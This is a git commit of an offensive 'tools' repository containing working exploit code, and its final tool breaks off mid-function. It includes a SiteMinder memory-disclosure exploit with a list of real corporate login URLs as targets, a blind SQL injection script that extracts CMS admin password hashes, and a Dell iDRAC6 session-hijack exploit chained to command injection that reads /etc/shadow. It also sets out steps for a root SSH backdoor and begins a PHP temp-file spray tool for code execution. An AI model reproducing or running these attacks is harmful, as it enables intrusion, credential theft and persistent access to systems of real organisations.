Commit 7f8445e8 authored by kubeworm's avatar kubeworm
Browse files

tools

parents
/*
This is an exploit for CVE-2015-6854 (likely similar for CVE-2015-6853)
The web server will reflect a GET input value back to us
The web server will "successfully" decode invalid URL encoded data
This allows us to leak bytes past the end of our input value, up until the next null byte (or segfault).
I alternatively dubbed it: printf("%s", heartbleed)
*/
package main
import (
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"net/http"
"regexp"
"strings"
)
/*
-url 'https://online.networks.nokia.com/siteminderagent/forms/login.fcc?smquerydata='
-url 'https://apps.gsfsgroup.com/auth/login.fcc?smquerydata=' -regex '<input type="hidden" name="smquerydata" value="(.*)">'
-url 'https://btalent.bombardier.com/siteminderagent/btalent/login.fcc?smquerydata='
-url 'https://aeweq.acsaetna.com/login.fcc?smquerydata=' -regex '<input type="hidden" name="smquerydata" value="(.*)">'
-url 'https://bcw.mybenefitscalwin.org/siteminderagent/forms/login.fcc?smquerydata='
-url 'https://gp.amer.csc.com/siteminderagent/forms/login_error.dxc.fcc?smagentname=' -regex "'smagentname'\).value = \"(.*)\";"
-url 'https://smportal.jpmorganchase.com/siteminderagent/SSOlogin.fcc?smagentname=' -regex '<input type="hidden" name="smagentname" value="(.*)/>'
-url 'https://telstra.com/siteminderagent/login/bdumcustlogin.fcc?target=' -regex '<input type=hidden name=target value="(.*)/>'
-url 'https://saml.ryder.com/siteminderagent/forms/login.fcc?smquerydata=' -regex '<input type=hidden name=smquerydata value="(.*)/>'
-url 'https://www2.wm.com/siteminderagent/forms/login.fcc?smquerydata='
-url 'https://www.sasktel.com/siteminderagent/forms/Sasktel.fcc?smagentname=' -regex '<input type=hidden name=smagentname value="(.*)>'
-url 'https://www.myclientlinenm.net/siteminderagent/forms/login.fcc?smagentname=' -regex '<input type=hidden name=smagentname value="(.*)">'
-url 'https://my.businessaircraft.bombardier.com/siteminderagent/forms/login.fcc?smagentname=' -regex '<input type=hidden name=smagentname value="(.*)'
-url 'https://swpf.skandia.se/siteminderagent/forms/login.fcc?smagentname=' -regex '<input type=hidden name=smagentname value="(.*)'
-url 'https://secure.extranet.hydro.com/loginform/authservices/login.fcc?smagentname=' -regex "<input type='hidden' name='smagentname' value='(.*)'"
*/
func main() {
regex := flag.String("regex", "<input type=hidden name=smquerydata value=\"(.*)\">", "Regex with submatch to retrieve output")
baseurl := flag.String("url", "https://secure2.volvo.com/siteminderagent/forms/login.fcc?SMQUERYDATA=", "url to check, value to check last") // Chrysler have patched, here's the same bug for Volvo!
flag.Parse()
match := regexp.MustCompile(*regex)
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true, // here be dragons
},
},
}
pad := 0
for {
url := fmt.Sprintf("%s%s%%", *baseurl, strings.Repeat("x", pad))
req, e := http.NewRequest("GET", url, nil)
if e != nil {
fmt.Println(e)
continue
}
r, e := client.Do(req)
if e != nil {
fmt.Println(e)
return
}
body, e := ioutil.ReadAll(r.Body)
r.Body.Close()
if e != nil {
fmt.Println(e)
continue
}
fmt.Println(r.Status, "-", pad)
leaks := match.FindSubmatch(body)
if len(leaks) > 1 && len(leaks[1]) > pad {
dump := hex.Dump(leaks[1][pad:])
fmt.Print(dump)
}
pad++
}
}
#!/usr/bin/env python3
# Before CVE-2019-9053
# if( isset($params['idlist']) ) {
# $idlist = $params['idlist'];
# if( is_string($idlist) ) {
# $tmp = explode(',',$idlist);
# for( $i = 0; $i < count($tmp); $i++ ) {
# $tmp[$i] = (int)$tmp[$i];
# if( $tmp[$i] < 1 ) unset($tmp[$i]);
# }
# $idlist = array_unique($tmp);
# $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
# }
# }
# After CVE-2019-9053
# if( isset($params['idlist']) ) {
# $idlist = $params['idlist'];
# if( is_string($idlist) ) {
# $tmp = explode(',',$idlist);
# $idlist = [];
# for( $i = 0; $i < count($tmp); $i++ ) {
# $val = (int)$tmp[$i];
# if( $val > 0 && !in_array($val,$idlist) ) $idlist[] = $val;
# }
# }
# if( !empty($idlist) ) $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
# }
# only check it if it's a string. things can only be strings and ints, right? ... theres nothing out there that implodes and isnt an int or a string.
import requests
from time import perf_counter as clock
import string
from binascii import hexlify
req = requests.Session()
def get_it(url_fmt, host, interval, charset):
from random import shuffle
from sys import stdout
it = b''
while True:
l = list(charset)
shuffle(l)
charset = ''.join(l)
found = False
for x in (charset).encode('utf-8'):
guess = it + bytes([x])
print('\r[i] Guess: {}'.format(guess.decode('utf-8')), end='')
stdout.flush()
guess_url = url_fmt.format(host, interval, hexlify(guess).decode('utf-8'))
start = clock()
res = req.get(guess_url)
end = clock()
delta = end - start
if delta > interval:
it = guess
found = True
break
if found == False:
print('\r[+] No further matches, we got: {}'.format(it.decode('utf-8').lower()))
return
def main():
from sys import argv
from math import ceil
args = argv[1:] # v-- bah gawd...is that Array()'s music I hear?!
salt_target = 'http://{}/moduleinterface.php?mact=News,m1_,default,0&m1_idlist[]=1))+and+(select+sleep({})+from+cms_siteprefs+where+sitepref_value+like+0x{}25+and+sitepref_name+like+0x736974656d61736b)+--+'
password_target = 'http://{}/moduleinterface.php?mact=News,m1_,default,0&m1_idlist[]=1))+and+(select+sleep({})+from+cms_users+where+password+like+0x{}25+and+user_id+like+0x31)+--+'
email_target = 'http://{}/moduleinterface.php?mact=News,m1_,default,0&m1_idlist[]=1))+and+(select+sleep({})+from+cms_users+where+email+like+0x{}25+and+user_id+like+0x31)+--+'
username_target = 'http://{}/moduleinterface.php?mact=News,m1_,default,0&m1_idlist[]=1))+and+(select+sleep({})+from+cms_users+where+username+like+0x{}25+and+user_id+like+0x31)+--+'
for arg in args:
req.get('http://{}/moduleinterface.php'.format(arg)) # avoid weid delay?
start = clock()
req.get('http://{}/moduleinterface.php'.format(arg))
end = clock()
delta = end - start
delay = int(ceil(delta * 10))
print('[i] Pre-flight Request Time: {}'.format(delta))
print('[i] Guessed suitably safe sleep delay: {}'.format(delay))
print('[i] Getting cryptographic salt/seed for {}'.format(arg))
get_it(salt_target, arg, delay, string.hexdigits)
print('[i] Getting admin email address for {}'.format(arg))
get_it(email_target, arg, delay, string.ascii_letters+string.digits+"@.-+")
print('[i] Getting admin username for {}'.format(arg))
get_it(username_target, arg, delay, string.ascii_letters+string.digits+"@.-+")
print('[i] Getting admin password hash for {}'.format(arg))
get_it(password_target, arg, delay, string.hexdigits)
if __name__ == '__main__':
main()
This diff is collapsed.
# Tools
Misc Tools
# hidrac.go
As detailed in the comments, this is an admin session tailgating exploit chained to a remote command execution exploit for iDRAC6 devices. also first public CVE-2018-1212 POC?
# CVE-2019-9053-2.py
A proof of concept that the "patch" for CVE-2019-9053 was incomplete.
# CVE-2015-6854.go
A remote memory disclosure exploit in CA SingleSignOn / SiteMinder Agent.
# spraynpray.go
A tool for spraying the php tmp directory with files containing user content, intended to be used with an already known file inclusion vulnerability to obtain arbitrary code execution. Current optimized for musl libc php (I.E. docker alpine).
/*
Dell iDRAC 6 Web Interface Exploit
AKA Entropy Lack iDRAC Hijack Attack
AKA Raiders of the Lost Drac
AKA A short presentation on webapp security and practical cryptanalysis
the attack works as follows:
- each site visitor is assigned a session cookie.
- the session cookie is the hash of a static pointer value, a timestamp in seconds and a counter.
- by locally bruteforcing our sessionid, we can recover the seed values for the remote rng.
- by periodically observing the counter value in the remote rng, we can determine if a new session has been assigned and efficiently guess their cookie.
- we use an oracle to determine if a session cookie is associated with an authenticated session (e.g. has logged in).
- a second weak rng assigns two tokens to the authenticated session, for use with API requests.
- we use an oracle to efficiently bruteforce the token values, which are generated from a process id, a timestamp and another counter.
- once we have obtained valid tokens (5-30 mins) we attack one of two remote command execution vulnerabilities to obtain a root shell.
*/
package main
import (
"crypto/md5"
"crypto/tls"
"encoding/hex"
"errors"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"time"
)
/*
we want libc rand and srand to mimic the target "R"NG
its quirky and im sure theres a go implementation somewhere
but whatever, this works.
*/
// #include <stdlib.h>
import "C"
type HiDrac struct {
Ip string
HeapStart int
HeapEnd int
HighestObservedCtr int
Client *http.Client
CookieName string
TimeSkew int
STSeed uint32
}
// we should probably use this when it errors out so we can resume
func (h *HiDrac) DumpState() {
log.Printf("highest ctr: %d", h.HighestObservedCtr)
log.Printf("heap start: 0x%08x", h.HeapStart)
}
// obtain a simple, unauthenticated sessionid. returns sessionid and a best guess timestamp.
func (h *HiDrac) GetSessionId() (string, int, error) {
log.Printf("obtaining sessionid from '%s'\n", h.Ip)
var e error
var ts int = 0
rawUrl := fmt.Sprintf("https://%s/login.html", h.Ip)
r, e := h.Client.Get(rawUrl)
ts = int(time.Now().Unix())
if e != nil {
return "", ts, e
}
defer r.Body.Close()
date := r.Header.Get("Date")
remoteTime, w := http.ParseTime(date)
if w != nil {
log.Println("Date header parsing failed for '%s': %s\n", date, w)
} else {
ts = int(remoteTime.Unix())
}
cookies := r.Cookies()
for k := range cookies {
if cookies[k].Name == h.CookieName {
return cookies[k].Value, ts, e
}
}
return "", ts, errors.New("set-cookie missing")
}
// generate a session id given their "R"NG, mimicing the idracs own generator.
func (h *HiDrac) GenSessionId(ptr int, ts int, ctr int) string {
sum := md5.Sum([]byte(fmt.Sprintf("%08x%08x%08x", ptr, ts, ctr)))
return hex.EncodeToString(sum[:])
}
// locally bruteforce a given session id, applying a sane set of search parameters. returns the "random" input as 3 integer values. a pointer to a heap struct, a timestamp and an internal counter.
func (h *HiDrac) BruteSessionId(tsStart, tsEnd int, sid string) (ptr, ts, ctr int) {
log.Printf("bruteforcing sessionid '%s'\n", sid)
c := time.Tick(5 * time.Second)
for ctr = h.HighestObservedCtr; ctr > 0; ctr++ {
for ts = tsStart; ts <= tsEnd; ts++ {
for ptr = h.HeapStart; ptr <= h.HeapEnd; ptr++ { // we can probably do bigger jumps here, memory alignment.
guess := h.GenSessionId(ptr, ts, ctr)
select {
case <-c:
log.Printf("currently guessing, ptr: 0x%08x, ts: %d, ctr: %d, guess md5: %s, target md5: %s\n", ptr, ts, ctr, guess, sid)
default:
}
if strings.Compare(guess, sid) == 0 {
return
}
}
}
}
return
}
// this page will return 200 if sid is an authenticated sessionid. returns true if authenticated, else false.
func (h *HiDrac) SessionIdOracle(sid string) bool {
url := fmt.Sprintf("https://%s/sysSummaryData.html", h.Ip)
req, e := http.NewRequest("GET", url, nil)
if e != nil {
log.Printf("oracle probe of '%s' failed: %s\n", h.Ip, e)
return false
}
req.AddCookie(&http.Cookie{Name: h.CookieName, Value: sid})
r, e := h.Client.Do(req)
if e != nil {
log.Printf("oracle probe of '%s' failed: %s\n", h.Ip, e)
return false
}
defer r.Body.Close()
if r.StatusCode == 200 {
return true
} else {
return false
}
}
// return a "secure" token value as generated by an idrac given an input seed.
func tokenFromSeed(seed uint32) string {
token := ""
for x := 0; x < 4; x++ {
C.srand(C.uint(seed))
seed = uint32(C.rand())
token = fmt.Sprintf("%s%08x", token, seed)
}
return token
}
/*
if CVE-2018-1212 is patched, use the following. i believe this is still unpatched.
POST /data?set=remoteFileshrUser:user,remoteFileshrPwd:%60cat%20%2fetc%2fshadow%60,remoteFileshrImage:%2F%2F127.0.0.1%2Frootme,remoteFileshrAction:1
to add persistent root access add the following to /etc/ssh/sshd_config by command injection
AuthorizedKeysFile /etc/ssh/.backdoor
PermitRootLogin yes
UsePam no
then store your SSH public key in /etc/ssh/.backdoor
this will provide you a root ssh shell, bash with a minimal linux install.
in my case the drac is an armv5tejl chipset.
to enable debug logging of the web interface: echo "1" > /flash/data0/mprlog_bypass
debug logs are located under /tmp/mprbypass.log and contain plaintext username and passwords from logins.
gdb is available:
$ ls -l /avct/util/gdb
-rwxrwxrwx 1 root root 2230352 Jan 1 1970 /avct/util/gdb
tcpdump is available:
$ ls -l /sbin/tcpdump
-rwxrwxrwx 1 root root 605813 Jan 1 1970 /sbin/tcpdump
*/
func (h *HiDrac) SecureTokenOracle(st2, sid string) (bool, string) {
url := fmt.Sprintf("https://%s/data?get=diagPing(1.1.1.1|bash%%20-c%%20'cat%%20/etc/shadow')", h.Ip) // CVE-2018-1212 https://nvd.nist.gov/vuln/detail/CVE-2018-1212
req, e := http.NewRequest("POST", url, nil)
if e != nil {
log.Printf("st oracle probe of '%s' failed: %s\n", h.Ip, e)
return false, ""
}
req.AddCookie(&http.Cookie{Name: h.CookieName, Value: sid})
req.Header.Add("ST2", st2)
resp, e := h.Client.Do(req)
if e != nil {
log.Printf("st oracle probe of '%s' failed: %s\n", h.Ip, e)
return false, ""
}
if resp.StatusCode == 200 {
buf, _ := ioutil.ReadAll(resp.Body)
return true, string(buf)
} else {
return false, ""
}
}
/*
given a sessionid and a best guess at remote state, generate and validate "secure" token candidates.
this is the noisy part, the search space can probably be narrowed. it's a timestamp, the pid and an
internal counter. the counter wraps at 0xffff and the pid is probably about the same range. together
that would be 32bits of guessing but instead they just sum them all so, we can ignore combinators and
we just bruteforce from the timestamp and up, we're probably going to throw a few thousand requests at
least but in practise it works, maybe in 20-30 minutes.
*/
func (h *HiDrac) GetSecureTokens(ts int, sid string) (string, string) {
log.Printf("getting secure tokens for authenticated sessionid '%s'\n", sid)
c := time.Tick(1 * time.Minute)
var i uint32 = uint32(ts)
st1 := tokenFromSeed(i)
i += 1
for {
select {
case <-c:
log.Printf("enumerating STSeed: current value: 0x%08x\n", i)
default:
}
st2 := tokenFromSeed(i)
i += 1
if ok, proof := h.SecureTokenOracle(st2, sid); ok {
log.Printf("got secure tokens, we're root.\n")
log.Printf("proof: %s\n", proof)
return st1, st2
} else {
st1 = st2
}
}
}
/*
sync up our "R"NG state with the remote idrac.
when we detect a ctr increase, beyond our own, search for it exhaustively within sane limits.
use an oracle to determine if any candidates are associated with authenticated sessions.
pass these candidates to have their secure token candidates enumerated.
*/
func (h *HiDrac) SetTrap() {
log.Printf("setting trap for '%s'\n", h.Ip)
c := time.Tick(1 * time.Minute)
for {
select {
case <-c:
sid, ts, e := h.GetSessionId()
if e != nil {
log.Printf("bailing, failed to get sessionid from '%s': %s", h.Ip, e)
h.DumpState()
return
}
oldts := ts
ptr, ts, ctr := h.BruteSessionId(ts-h.TimeSkew, ts+h.TimeSkew, sid)
if oldts != ts {
h.TimeSkew = oldts - ts
if h.TimeSkew < 0 {
h.TimeSkew *= -1
}
}
log.Printf("got match ptr: '0x%08x', ts: '%d', ctr: '%d'\n", ptr, ts, ctr)
if ctr > h.HighestObservedCtr+1 {
sessioncount := ctr - h.HighestObservedCtr + 1
log.Printf("trap triggered. new %d session(s) detected\n", sessioncount)
nextsession:
for r := h.HighestObservedCtr + 1; r < h.HighestObservedCtr+1+sessioncount; r++ {
for gts := ts - 60; gts < ts; gts++ {
guess := h.GenSessionId(h.HeapStart, gts, r)
if h.SessionIdOracle(guess) {
log.Printf("got stolen authenticated sessionid: '%s', ptr: 0x%08x, ts: %d, ctr: %d", guess, h.HeapStart, gts, r)
go h.GetSecureTokens(gts, guess)
continue nextsession
}
}
}
}
h.HighestObservedCtr = ctr
}
}
}
/*
returns a new hidrac object with sane defaults.
*/
func NewHiDrac(ip string, ctr, heapStart, heapEnd int) *HiDrac {
return &HiDrac{
Client: &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
},
Ip: ip,
HighestObservedCtr: ctr,
HeapStart: heapStart,
HeapEnd: heapEnd,
CookieName: "_appwebSessionId_",
TimeSkew: 2,
STSeed: 0,
}
}
/*
set sane defaults
overlay them with user defined settings
obtain initial rng state and launch the ambush
*/
func main() {
var heapStart int = 0x00015000
var heapEnd int = 0x00100000
var minCtr int = 1
ip := flag.String("ip", "10.0.0.2", "ip iDRAC interface")
knownMinCtr := flag.Int("minctr", 0, "minimum ctr value")
knownHeapStart := flag.Int("heapstart", 0, "search heap address range start")
knownHeapEnd := flag.Int("heapend", 0, "search heap address range end")
knownPtr := flag.Int("ptr", 0, "known ptr for heap object")
flag.Parse()
if *knownHeapStart != 0 {
heapStart = *knownHeapStart
}
if *knownHeapEnd != 0 {
heapEnd = *knownHeapEnd
}
if heapStart > heapEnd {
panic("heapStart > heapEnd")
}
if *knownPtr != 0 {
heapStart = *knownPtr
heapEnd = *knownPtr
}
if *knownMinCtr != 0 {
minCtr = *knownMinCtr
}
h := NewHiDrac(*ip, minCtr, heapStart, heapEnd)
sid, ts, e := h.GetSessionId()
if e != nil {
log.Printf("failed to get sessionid from '%s': %s\n", h.Ip, e)
return
}
oldts := ts
ptr, ts, ctr := h.BruteSessionId(ts-h.TimeSkew, ts+h.TimeSkew, sid)
/* naive estimate for jitter */
if oldts != ts {
h.TimeSkew = oldts - ts
if h.TimeSkew < 0 {
h.TimeSkew *= -1
}
}
log.Printf("got match ptr: '0x%08x', ts: '%d', ctr: '%d'\n", ptr, ts, ctr)
/* synchronise state */
h.HighestObservedCtr = ctr
h.HeapStart = ptr
h.SetTrap()
}
package main
import (
"bytes"
"crypto/rand"
"flag"
"fmt"
"io/ioutil"
"log"
"math/big"
"mime/multipart"
"net/http"
"os"
"os/signal"
"runtime"
"sync"
)
var die *sync.WaitGroup = &sync.WaitGroup{}
var spray_mutex *sync.Mutex = &sync.Mutex{}
var spray_count int
var pray_mutex *sync.Mutex = &sync.Mutex{}
var pray_count int
func genPayload(copies int) (*bytes.Buffer, string) {
formBuf := &bytes.Buffer{}
formWriter := multipart.NewWriter(formBuf)
payload := []byte("<?php echo \"EVILOUTPUT\"; ?>")
for i := 0; i < copies; i++ {
w, e := formWriter.CreateFormFile(fmt.Sprintf("x%d", i), fmt.Sprintf("x%d.php", i))
if e != nil {
log.Println("genPayload CreateFormFile", e)
continue
}
w.Write(payload)
}
contentType := formWriter.FormDataContentType()
formWriter.Close()
return formBuf, contentType
}
func spray(done <-chan bool, targetURL string, copies int, wid int, wmax int) {
die.Add(1)
defer die.Done()
log.Println("sprayer", wid+1, "/", wmax, "starting")
defer log.Println("sprayer", wid+1, "/", wmax, "stopping")
client := &http.Client{}
for {
select {
case <-done:
return
default:
payload, contentType := genPayload(copies)
r, e := client.Post(targetURL, contentType, payload)
if e != nil {
log.Println("spray http error", e)
continue
}
_, e = ioutil.ReadAll(r.Body)
r.Body.Close()
}
}
}
/*
mktemp musl libc
---
__clock_gettime(CLOCK_REALTIME, &ts);
r = ts.tv_nsec*65537 ^ (uintptr_t)&ts / 16 + (uintptr_t)template;
for (i=0; i<6; i++, r>>=5)
template[i] = 'A'+(r&15)+(r&16)*2;
---
*/
func genStraw() string {
/* keyspace optimized for musl libc mktemp, i.e. alpine linux php */
keyspace := "ABCDEFGHIJKLMNOPabcdefghijklmnop"